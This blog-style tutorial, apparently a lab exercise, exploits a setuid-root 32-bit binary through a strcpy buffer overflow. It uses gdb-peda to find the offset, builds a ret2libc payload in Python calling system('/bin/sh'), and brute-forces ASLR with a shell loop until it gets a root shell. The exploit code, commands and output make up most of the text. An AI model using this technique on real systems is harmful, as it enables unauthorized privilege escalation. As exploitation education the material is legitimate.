In this article we will try to bypass the ASLR (Address Space Layout Randomization) and NX (non execute bit) techniques.
So we got this 32 bit binary “overflow” without source code and root suid bit turned on!
$ ls -al overflow -rwsr-sr-x 1 root root 7377 Jun 15 21:17 overflow
All we know is that it requires a string as an argument, let’s see if it is vulnerable to buffer overflow.
$ ./overflow $(python -c 'print "A" *1000') Segmentation fault
Good! We got a buffer overflow.
First of all let’s examine the binary in order to understand what it really does 😉
Objdump can help us in this case and this is the output of “objdump -d overflow” related to the main() function:
0804847d <main>: 804847d: 55 push %ebp 804847e: 89 e5 mov %esp,%ebp 8048480: 83 e4 f0 and $0xfffffff0,%esp 8048483: 83 c4 80 add $0xffffff80,%esp 8048486: 83 7d 08 01 cmpl $0x1,0x8(%ebp) 804848a: 7f 21 jg 80484ad <main+0x30> 804848c: 8b 45 0c mov 0xc(%ebp),%eax 804848f: 8b 00 mov (%eax),%eax 8048491: 89 44 24 04 mov %eax,0x4(%esp) 8048495: c7 04 24 60 85 04 08 movl $0x8048560,(%esp) 804849c: e8 8f fe ff ff call 8048330 <printf@plt> 80484a1: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80484a8: e8 b3 fe ff ff call 8048360 <exit@plt> 80484ad: 8b 45 0c mov 0xc(%ebp),%eax 80484b0: 83 c0 04 add $0x4,%eax 80484b3: 8b 00 mov (%eax),%eax 80484b5: 89 44 24 04 mov %eax,0x4(%esp) 80484b9: 8d 44 24 1c lea 0x1c(%esp),%eax 80484bd: 89 04 24 mov %eax,(%esp) 80484c0: e8 7b fe ff ff call 8048340 <strcpy@plt> 80484c5: b8 00 00 00 00 mov $0x0,%eax 80484ca: c9 leave 80484cb: c3 ret 80484cc: 66 90 xchg %ax,%ax 80484ce: 66 90 xchg %ax,%ax
We notice that the “strcpy” function is used and probably this one was the cause of the buffer overflow due to missing length check.
Time to move to “gdb “with peda extension (https://github.com/longld/peda) to gather more information.
First we have to find the exact offset of the buffer overflow:
gdb-peda$ pattern_create 1000 1000.txt Writing pattern of 1000 chars to filename "1000.txt" gdb-peda$ r $(cat 1000.txt)
Starting program: ovrflw $(cat 1000.txt) Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xfff12570 ("A$YA$wA$ZA$x") EDX: 0xfff10d58 ("A$YA$wA$ZA$x") ESI: 0x2 EDI: 0xf7772000 --> 0x1b3db0 EBP: 0x6941414d ('MAAi') ESP: 0xfff109f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...) EIP: 0x41384141 ('AA8A') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41384141 [------------------------------------stack-------------------------------------] 0000| 0xfff109f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...) 0004| 0xfff109f4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) 0008| 0xfff109f8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%"...) 0012| 0xfff109fc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...) 0016| 0xfff10a00 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA"...) 0020| 0xfff10a04 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...) 0024| 0xfff10a08 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%Q"...) 0028| 0xfff10a0c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41384141 in ??
OK we got the pattern, now let’s find out the offset:
gdb-peda$ pattern_offset 0x41384141 1094205761 found at offset: 112
Good! Offset is at 112 bytes. What next?
Let’s do some checks:
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
Hmm.. not so good, NX is enabled, so we have to rethink the classical approach.
In order to bypass NX (Non executable stack) we can use the “ret2libc” technique (a specific attack in which the attacker does not require any shellcode to take control of a target vulnerable process) and invoke the classic built-in functions such as “system” etc…
The address of these subroutines are already present in the process executable memory, but we have another problem: we have ASLR turned on (otherwise it would be 0):
$cat /proc/sys/kernel/randomize_va_space 2
$ldd overflow linux-gate.so.1 (0xf7775000)linux-gate.so.1 (0xf7775000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf758a000) /lib/ld-linux.so.2 (0x5662a000) $ldd overflow linux-gate.so.1 (0xf7721000) linux-gate.so.1 (0xf7721000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7536000) /lib/ld-linux.so.2 (0x565d4000)
As you can see, address of “libc” changes continuously….
Never give up! Let’s go on.
First of all we turn on address randomization in gdb on order to simulate our working environment.
gdb-peda$ set disable-randomization off gdb-peda$ start (....)
Even if ASLR is turned on, for the moment let’s ignore it. Our purpose is to call the C “system()” function passing “/bin/sh” as argument. We also need to invoke the “exit()” function in order to terminate gracefully our system call.
So what do we need? The addresses of these calls, as shown in gdb-peda
gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf76e3e48 ("/bin/sh") gdb-peda$ p &exit $1 = (<text variable, no debug info> *) 0xf75b57e0 <exit> gdb-peda$ p &system $2 = (<text variable, no debug info> *) 0xf75c1b30 <system> gdb-peda$
We have all our information and our payload could look like this one:
112 bytes + system address + exit address + /bin/sh address
Translated in python:
from struct import *from struct import * buf = ""buf += "X"*(112) buf += pack("<L",0xf75c1b30) #system() address buf += pack("<L",0xf75b57e0) #exit() address buf += pack("<L",0xf76e3e48 ) #/bin/sh call address with open("buffer.txt", "w") as f: f.write(buf)
In a perfect world, launching:
$./overflow $(cat buffer.txt)
would give us our superuser shell! But we have to defeat ASLR.. how? There are not so much alternatives.. bruteforcing is the solution.
Remember, our binary is 32 bit, so it would not be so hard to find out the addresses, given that randomization in libc is limited to 8 bits…
How can we achieve this task? Very simple, with this shell script:
while true;do ./overflow $(cat buffer.txt);done
In this infinite loop we will match our address sooner or later (remember it’s a 32 bit ELF executable) and get our root shell…..
$while true; do ./ovreflow $(cat buffer.txt);done Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault Segmentation fault #whoami root
Great! isn’it ?
Thanks to @gedigi for some wonderful hints!
That’s all 🙂
Reblogged this on KNX Security – Practical Penetration Test.
LikeLike